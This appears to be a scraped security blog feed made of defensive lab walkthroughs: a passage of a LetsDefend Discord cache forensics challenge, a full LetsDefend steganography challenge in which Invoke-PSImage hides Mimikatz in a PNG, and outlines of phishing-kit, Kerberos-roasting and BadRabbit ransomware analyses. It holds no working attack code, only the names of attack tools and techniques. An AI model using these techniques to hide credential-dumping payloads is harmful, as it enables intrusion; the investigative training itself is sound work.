Pivoting to a legitimate web service is a common defense evasion technique (MITRE ATT&CK T1102). Moving a victim to a service which is outside of the purview of the security team/tools and into attacker-controlled infrastructure can allow for unimpeded next steps in the attack.

Question 4: When did an attacker send the first message to the victim on this application?

Now let’s really dig deep. Since we know that the victim was lured to contact the attacker on Discord to discuss the " # "

job offer," there must be some artifacts in the image that we can analyze.

We’ll start by doing some research on Google to see if we can gather any intelligence about what data Discord stores on a local system. Fortunately, we stumble across a fantastic write up about artifacts stored within the Discord cache folder!

Finding Discord app chats in Windows. _Discord on the desktop In previous posts I discussed some ways of recovering and presenting Discord app chats from…_abrignoni.blogspot.com

According to this researcher, Discord data is structured very similarly to the Google Chrome cache — this means that we can probably leverage ChromeCacheView from our Tools folder to perform further analysis.

Let’s load up ChromeCacheView, press File, then Select Cache Folder. We’ll browse for the folder manually and point to the Discord cache folder within the victim image:

C:\Users\LetsDefend\Desktop\ChallengeFile\Administrator\AppData\Roaming\discord\Cache

The is a lot of data here but we can narrow our search scope a bit. Press View > Use Quick Filter.

Now we will search for " # "

message" and see if we get any results…

Okay, now we’re getting somewhere! We can actually review the content of these JSON files by right clicking the entry, selecting " # “Open selected cache file with…,“and selecting a plain text editor like Notepad.

We’re interested in the contents of the private chat between the attacker and the victim. After reviewing the data within the JSON files, let’s focus first on the one with the file size of 767.

While the data is initially difficult to comprehend, I have highlighted the snippet above with the general format of each message — they seem to start with " # “id"and end with " # “components.“In the excerpt above we can see the initial message on Discord from the attacker to the victim including the timestamp!

Question 5: The attacker has sent a server invitation URL to the victim, what is the full URL?

Let’s continue to analyze the JSON file we retrieved from ChromeCacheView.

In the same private chat that we analyzed in Question 4, the attacker states that they are going to create and invite the victim to a " # “server”— this is Discord shorthand for group chat/community on the platform. Then, the attacker provides a Discord URL where the victim can join the server.

Question 6: How many people were on the Discord server?

Along with the server URL from the previous question, the attacker also states that the server has a " # "

two other employee” in addition to the attacker and victim.

just me and you and two other employee

My math might be terrible otherwise, but I know that 2+2=4.

Question 6: What is the MD5 hash of the attachment file that the victim sent to the attacker?

Let’s go back into ChromeCacheView. This time, we are going to view the JSON file for the server channel instead of the private chat. Let’s open the cache file with the size of 1,392.

After browsing the contents of the chat, we can see the attackers are coercing the victim to prove that he is the right candidate for the " # "

job” by asking for the details of some (presumably) confidential research.

A short time later, we can see that the victim uploads the requested private data to the Discord server in an archive file called Private.7z

It’s pretty likely that the victim uploaded the data from his own device, so why don’t we check the image and simply search for the file name?

There we go, we found it in the user’s Documents folder!

Let’s grab the file hash of the archive. We can utilize the HashCalc utility from the Tools folder or leverage the PowerShell Get-FileHash command_._

For this walkthrough, I used the PowerShell option_._ Since the Get-FileHash command defaults to using SHA256, we’ll need to specify that we want the MD5 hash instead.

Get-FileHash -Algorithm MD5

Okay, now that we have the MD5 hash of the exfiltrated archive, let’s submit the answer and continue our analysis!

Question 7: What is the victim’s country?

Okay this one is a bit tricky to find. None of the Discord chat data that we have discovered appears to have any details regarding geolocation for the victim.

To save you some time, I tried extracting the attachment file in the 7z archive, analyzing the email headers for the communication between the attacker and victim, and going through the Microsoft Edge cache for URLs related to a specific country. All of these came up without any evidence.

Then, I remembered this is a Discord challenge and went back to ChromeCacheView and searched the cache for " # “location” instead of " # “message"like we did for Questions 4,5, & 6

Now, this gives us a misleading result in the metadata. Let’s lean on the question hint to tell us where we went wrong:

Whoops! So, let’s pivot and try to search for " # “country"in our quick filter instead of " # “location”— This will give us more results with a second country code (Not Egypt) in the URLs.

We might have stumbled there, but we figured it out. Great job!

Question 8: What is the URL of the attachment that the attacker sent to the victim?

After the victim ran the malicious file, there seems to be some follow-up chat in Discord where the victim is reaching out to the attacker to no avail.

Let’s go back to his email where we can find another thread with the Subject field " # "

idk” — where the attackers are blackmailing the victim. The attacker is threatening to tell the victim’s employer about the data leak unless they download and execute a file from a link in the email…

Despite the victim initially protesting, it appears that they were afraid of losing their job…

While out of scope for this challenge, we can check the victim’s browser history to see if we have any URL history.

Unfortunately, the evidence suggests that the victim did access the payload sent by the attacker. After that, the SIEM alerted us to the malware being blocked by the victim’s endpoint antivirus software. Whew!

Conclusion:

Great work! We successfully completed the Discord Forensics Challenge.

Our investigation led us to the discovery that the victim was lured to Discord through a phishing email with the promise of a job offer. The victim was then convinced to exfiltrate sensitive research data to the attackers on the Discord server. This was followed by a blackmail attempt, coercing the victim to download and execute a malware payload in exchange for not disclosing the victim’s mistake to their employer. Having identified how the attack unfolded, we can now conclude our investigation.

I appreciate you joining me in this investigation and reading along. I hope that you had as much fun as I did and learned something useful too!

A big thank you to LetsDefend for providing us with the opportunity to sharpen our skills in Discord cache analysis! It was cool to see how we could utilize ChromeCacheView beyond its typical applications and deepen our understanding of the artifacts left behind by Discord that can be analyzed during incident response.

Until next week — stay curious! Thanks!

Tools & References:

NirSoft ChromeCacheView: https://www.nirsoft.net/utils/chrome_cache_view.html

MITRE ATT&CK (Phishing): Phishing, Technique T1566 — Enterprise | MITRE ATT&CK®

Microsoft OST File Location: Introduction to Outlook Data Files (.pst and .ost) — Microsoft Support

Finding Discord app chats in Windows: https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html

Microsoft Learn Get-FileHash: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4

LetsDefend — ImageStegano Challenge Walkthrough

Sun, 12 May 2024 00:00:00 +0000

LetsDefend — ImageStegano Challenge Walkthrough

Investigating steganography using ExifTool and psimage_decoder.py

Image Credit: https://app.letsdefend.io/challenge/imagestegano

Introduction:

Welcome to my weekly walkthrough! Have you ever wondered about how malware can be hidden in an image? Well we’re about to explore the world of steganography by tackling the ImageStegano challenge on LetsDefend!

This is a challenge requiring us defenders to investigate an image file and determine if it contains malicious code hidden by using steganography.

Now what is steganography anyway? According to the _SANS In_ternet Storm Center’s Infosec Glossary, steganography is the:

Methods of hiding the existence of a message or other data. This is different than cryptography, which hides the meaning of a message but does not hide the message itself. An example of a steganographic method is " # "

invisible" ink.

So, whether you’re here to learn more about steganography, explore some new tools, or are just looking for a reference walkthrough for the LetsDefend ImageStegano Challenge, you’ve stumbled on the right spot. I encourage you to follow along during your own investigation and use this post as a reference if you get stuck.

Thanks for reading along, let’s have some fun!

Challenge Link: https://app.letsdefend.io/challenge/imagestegano

Challenge Scenario:

We are certain that there is something malicious in this image, but we do not know what it is. So we need you to investigate it and see if you can find any evidence.

Questions 1 & 2:

Who is the " # "

Device Manufacturer" according to the metadata?

What is the CMM Type?

Let’s start off the investigation by connecting to the virtual machine environment hosted on LetsDefend, navigate to the ChallengeFile folder on the Desktop, and extracting the challenge file from the archive.

Inside, we find a seemingly innocuous .png file, but do you notice something strange? The file size is nearly 65MB in size! This is definitely suspicious and requires some further investigation.

Question 1 and 2 are asking about the image metadata, which is data about the image, and not the image itself like color profiles and the capturing device details. To analyze this file’s metadata, we will want to utilize something like ExifTool.

_A_ccording to the project’s website, ExifTool is a:

platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.

In other words, this tool is used to extract metadata from an image file for us to analyze!

Let’s take a closer look at our analysis environment. Unfortunately, our Windows environment does not have this tool installed for us to use. ExifTool is typically installed within Linux distros, however.

Maybe you noticed the orange Ubuntu Linux icon on the taskbar? This means that the analysis VM has Ubuntu installed for use with the _Windows Subsystem for Linux (_WSL) which allows us to use Linux tools in Windows — very cool!

So, we have a couple of options to access E_xifTool_ to analyze the image’s metadata:

) Load into Ubuntu and operate the CLI directly:

Ubuntu Manpage: exiftool — Read and write meta information in files _A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types…_manpages.ubuntu.com

2.) Or we can simply use the wsl command in PowerShell to access the Ubuntu tool within the PowerShell console directly! This will be the option we’ll use for this walkthrough.

We’ll navigate to the directory containing the suspicious .png file, and use the basic syntax to get an overview of the metadata contained within the image:

wsl exiftool Sd6wF1A1v.png

Now that we have used ExifTool to view the metadata we can find the information needed to answer Questions 1 & 2.

Question 3: What is the tool that created the payload inside the image?

This question will require some research since we don’t have any specific way of determining what application created this image from the metadata.

Why don’t we look at the question hint as a jumping-off point:

Question 3 Hint

Okay, let’s do some research and head over to _Google. W_e’ll search something basic like " # “image steganography powershell.“The first result seems very promising. If we click the link we are taken to the GitHub project page for Invoke-PSImage.

According to the project’s README, this tool is used for the following purpose:

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.

Based on the number of stars, this project seems well-known, and it creates a payload within a .png image. Let’s submit the answer and see if our research is correct:

Question 4: After decoding the payload, can you find out the function’s name?

Now that we know what tool created the suspicious image, we’ll now need to locate a method to analyze the actual payload hidden within the image.

Since we know the tool which created the malicious image, let’s do some more Google searching to see if there is a tool available to reveal the code.

We’ll stumble across the article below by Mert Sarica at Hack 4 Career.

Malicious Image | Hack 4 Career _When we look at the campaigns carried out by APT groups such as Muddy Water, which also targets institutions in Turkey…_www.mertsarica.com

After reading the article, we discover that this researcher has created a tool, psimage_decoder.py, which:

Reveals Powershell code hidden in image files using Invoke-PSImage

This sounds promising and is exactly what we’re trying to accomplish! Why don’t we test out this tool and see how it works? We’ll follow the link in the article and check out the Python code over on GitHub.

Without internet connectivity, we have limited options to download the tool into the virtual analysis environment so we’ll just copy the raw file contents into the copy/paste box of the virtual machine’s remote options.

Then, we’ll paste the code into the installed Notepad ++ and save it as a Python file called psimage_decoder.py (or whatever name you’d like).

Finally, let’s run the Python script using the provided syntax to point to the malicious .png file…

Yikes! That was a lot of output to the console, let’s redirect this to a txt file instead so that we can more easily analyze the results.

python .\psimage_decoder.py > .txt

Once we open the results file, we will see a function at the very top — Invoke-Mimikatz. If you aren’t familiar with Mimikatz, here is a summary of this software from MITRE ATT&CK:

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.

Yikes! That wouldn’t be a good thing for the victim to launch. Now that we’ve discovered evidence of Mimikatz embedded in the .png file using psimage_decoder.py, I think we can confidently call this file malicious. Let’s continue with the investigation.

Question 5: There are two hidden executables in the decoded payload. What is the sha256 hash of the 32-bit version of the executable?

To answer the last question, let’s continue scrolling through the output of the decoded payload. Toward the bottom of the output, we’ll stumble upon this line with a block of code:

We’ve found of the two hidden executables! This is the 64-bit version, let’s keep scrolling until we find the Win32 version:

Locating the Win32 Executable in the psimage_decoder.py output

There we go! Now that we have located the second executable, notice the SHA256 hash and the convenient link to VirusTotal?

While we already have the file hash we are looking for, let’s take a quick look at the VirusTotal report. If we needed to do some additional research on this binary, this would be a solid method to pivot and gather some additional intelligence and confirm our findings — in this case, we can confirm that the file is indeed malicious.

VirusTotal VirusTotalwww.virustotal.com

Let’s submit the answer and wrap up this investigation!

Conclusion:

Whew! Excellent job with the investigation! We made it through the ImageStegano Challenge and successfully revealed Mimikatz hiding within the .png image file! Now that we know what the malicious file is, let’s wrap this up.

Thank you to LetsDefend for providing another fun challenge and the opportunity to learn about steganography. This challenge was really interesting to me, and the lab was valuable to better understand how threat actors are always evolving their tactics and techniques. It was cool to see a practical example of malware embedded in an otherwise innocuous looking file. Having the hands-on practice with these concepts and some of the tools we used like psimage_decoder.py will be excellent additions to the toolkit!

Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!

Tools & References:

InfoSec Glossary — SANS Internet Storm Center: https://isc.sans.edu/tools/glossary/

Exiftool: https://exiftool.org/

Microsoft Docs WSL: https://learn.microsoft.com/en-us/windows/wsl/about

Invoke-PSImage (GitHub): https://github.com/peewpw/Invoke-PSImage

psimage_decoder.py (GitHub): https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py

Malicious Image Research: https://www.mertsarica.com/malicious-image/

MITRE ATT&CK Mimikatz: https://attack.mitre.org/software/S0002/

VirusTotal: https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/

Posts on Drew Arpino (Stumblesec)

TryHackMe — Snapped Phish-ing Line Challenge Walkthrough

Introduction:

Challenge Scenario:

Objectives

Questions 1 & 2:

1. Begin reviewing the emails in the phish-emails folder on your desktop.

2. What email address was used by the adversary to send the phishing emails?

Questions 3 & 4:

3. Investigate the attachment in the email addressed to Zoe Duncan.

4. Open the attachment in your VM web browser.

Questions 5 & 6:

5. Let’s check if the attacker left any files exposed on the same website.

6. Download the phishing kit archive to your virtual environment.

Questions 7 & 8:

7. Investigate the file hash from the previous question using VirusTotal (opens in new tab).

8. Review the VirusTotal Details page for the phishing kit.

Question 9: Let’s see if the attacker has exposed any captured credentials.

Navigate to the /data/Update365/ directory and investigate the log file.

What is the email address of the user who submitted their credentials more than once?

Question 10: Extract the phishing kit archive and locate the submit.php file.

What email address is used by the adversary to collect compromised credentials?

Question 11: Return to the phishing URL and locate the flag.txt file.

Using CyberChef (opens in new tab) to decode the flag, what is the secret value?

Conclusion:

Tools & References:

HackTheBox — Campfire-2 Sherlock Walkthrough

HackTheBox: Campfire-2 Sherlock Walkthrough

Detecting AS-REP Roasting Activity: Correlating Kerberos Events and Authentication Logs with Event Log Explorer

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

AS-REP Primer:

Question 1: When did the ASREP Roasting attack occur, and when did the attacker request the Kerberos ticket for the vulnerable user?

Questions 2, 3, 4:

Please confirm the User Account that was targeted by the attacker.

What was the SID of the account?

It is crucial to identify the compromised user account and the workstation responsible for this attack. Please list the internal IP address of the compromised asset to assist our threat-hunting team.

Question 5: We do not have any artifacts from the source machine yet. Using the same DC Security logs, can you confirm the user account used to perform the ASREP Roasting attack so we can contain the compromised account/s?

Conclusion:

Tools & References:

HackTheBox — Campfire-1 Sherlock Walkthrough

HackTheBox: Campfire-1 Sherlock Walkthrough

Detecting Kerberoasting Activity: Correlating Kerberos Events, PowerShell Logs, and Prefetch Artifacts

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

Kerberoasting Primer:

Question 1: Analyzing Domain Controller Security Logs, can you confirm the UTC date & time when the kerberoasting activity occurred?

Questions 2 & 3:

What is the Service Name that was targeted?

It is really important to identify the Workstation from which this activity occurred. What is the IP Address of the workstation?

Questions 4 & 5:

When was this script executed? (UTC)

Questions 6 & 7:

What is the full path of the tool used to perform the actual kerberoasting attack?

When was the tool executed to dump credentials? (UTC)

Conclusion:

Tools & References:

CyberDefenders — BRabbit Lab Walkthrough

CyberDefenders: BRabbit Lab Walkthrough

BadRabbit Ransomware Analysis: Correlating Threat Intelligence, Sandbox Reports, and ATT&CK Mapping

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

Question 1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. Recognizing these indicators can help identify similar threats in the future.

Question 2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies.

Question 3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process.

Question 4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration.

Question 5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation.

Question 6: Persistence mechanisms are a hallmark of sophisticated ransomware. Identifying how persistence was achieved can aid in recovery and prevention of reinfection.

Question 7: As part of its infection chain, the ransomware created specific tasks to ensure its continued operation. Recognizing these tasks is crucial for system restoration. What are the names of the tasks created by the ransomware during execution?

Question 8: the malicious binary dispci.exe displayed a suspicious message upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware’s full execution. What suspicious message was displayed in the Console upon executing this binary?

Question 9: To modify the Master Boot Record (MBR) and encrypt the victim’s hard drive, the ransomware utilized a specific driver. Recognizing this driver is essential for understanding the encryption mechanism.

Question 10: Attribution is key to understanding the threat landscape. The ransomware was tied to a known attack group through its tactics, techniques, and procedures (TTPs).

Question 11: The ransomware rendered the system unbootable by corrupting critical system components. Identifying the technique used provides insight into its destructive capabilities.

Conclusion:

Tools & References:

StumbleSOC Blog Stories — The Teams Call Compromise

StumbleSOC Stories: The Teams Call Compromise

Navigate to the `/data/Update365/` directory and investigate the log file.

Question 10: Extract the phishing kit archive and locate the `submit.php` file.

Question 11: Return to the phishing URL and locate the `flag.txt` file.

Question 8: the malicious binary `dispci.exe` displayed a suspicious message upon execution, urging users to disable their defenses. This tactic aimed to evade detection and enable the ransomware’s full execution. What suspicious message was displayed in the Console upon executing this binary?